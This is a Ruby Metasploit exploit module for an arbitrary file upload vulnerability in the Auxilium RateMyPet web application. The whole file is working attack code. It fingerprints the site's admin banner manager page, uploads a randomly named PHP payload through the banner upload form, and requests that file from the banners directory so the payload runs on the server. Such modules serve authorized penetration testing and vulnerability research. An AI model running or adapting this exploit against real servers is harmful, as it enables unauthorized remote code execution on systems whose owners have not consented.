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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::PhpEXE
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
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      'Description'    => %q{
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          This module exploits a vulnerability found in Auxilium RateMyPet's. The site
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        banner uploading feature can be abused to upload an arbitrary file to the web
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        server, which is accessible in the 'banner' directory, thus allowing remote code
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        execution.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'DaOne',  # Vulnerability discovery
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          'sinn3r'  # Metasploit
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '85554'],
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          ['EDB', '21329']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00"
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        },
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      'Platform'       => %w{ linux php },
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      'Targets'        =>
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        [
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          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
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          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2012-09-14',
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      'DefaultTarget'  => 0))
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    register_options(
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      [
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        OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
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      ])
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  end
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  def check
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    uri = target_uri.path
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    base = File.dirname("#{uri}.")
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    res = send_request_raw({
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      'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
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    })
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    if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
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      return Exploit::CheckCode::Detected
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    else
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      return Exploit::CheckCode::Safe
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    end
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  end
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  def upload_exec(base, php_fname, p)
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    data = Rex::MIME::Message.new
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    data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
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    data.add_part('', nil, nil, "form-data; name=\"alt\"")
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    data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
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    data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
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    post_data = data.to_s
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    print_status("Uploading payload (#{p.length.to_s} bytes)...")
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    res = send_request_cgi({
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      'method' => 'POST',
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      'uri'    => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
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      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
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      'data'   => post_data,
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    })
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    if not res
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      print_error("No response from host")
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      return
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    end
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    print_status("Requesting '#{php_fname}'...")
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    res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
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    if res and res.code == 404
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      print_error("Upload unsuccessful: #{res.code.to_s}")
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      return
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    end
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    handler
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  end
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  def exploit
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    uri = normalize_uri(target_uri.path)
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    uri << '/' if uri[-1,1] != '/'
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    base = File.dirname("#{uri}.")
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    php_fname =  "#{Rex::Text.rand_text_alpha(5)}.php"
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    p = get_write_exec_payload(:unlink_self=>true)
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    upload_exec(base, php_fname, p)
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  end
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end
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